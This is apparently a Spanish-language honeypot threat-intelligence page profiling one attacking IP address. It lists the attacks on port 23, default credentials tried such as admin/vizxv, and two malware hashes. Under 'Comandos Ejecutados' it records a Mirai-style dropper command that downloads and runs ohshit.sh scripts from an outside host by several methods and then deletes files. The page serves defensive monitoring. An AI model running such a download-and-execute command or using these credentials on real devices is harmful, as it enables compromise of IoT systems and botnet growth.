⚠TROYANOSYVIRUS
Amenaza Activa • BAJO

35.204.146.196

Pais de Origen🇫🇷 Francia
Primera Deteccion30/1/2026
Ultima Actividad30/1/2026
ISPOVH SAS
🎯
24
Ataques Totales
🔌
1
Puertos
📡
1
Tipos Ataque
🦠
2
Malware

Geolocalizacion

Pais
🇫🇷 Francia
Ciudad
Desconocida
ASN
AS16276
ISP
OVH SAS

Tipos de Ataque

cowrie

Puertos Atacados

23

Malware Asociado

f06e784b0626e463b45f...→b7a3af59ee5db48d1779...→

Credenciales Intentadas

🔐root/86981198
1x
🔐admin/vizxv
1x
🔐guest/guest
1x
🔐admin/admin
1x
🔐root/12345
1x
🔐guest/12345
1x

Comandos Ejecutados

$cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://45.137.98.97/ohshit.sh; curl -O http://45.137.98.97/ohshit.sh; chmod 777 ohshit.sh; sh ohshit.sh; tftp 45.137.98.97 -c get ohshit.sh; chmod 777 ohshit.sh; sh ohshit.sh; tftp -r ohshit2.sh -g 45.137.98.97; chmod 777 ohshit2.sh; sh ohshit2.sh; ftpget -v -u anonymous -p anonymous -P 21 45.137.98.97 ohshit1.sh ohshit1.sh; sh ohshit1.sh; rm -rf ohshit.sh ohshit.sh ohshit2.sh ohshit1.sh; rm -rf *1x
$uname -m1x

Evaluacion de Riesgo

25
/100
BajoMedioAltoCritico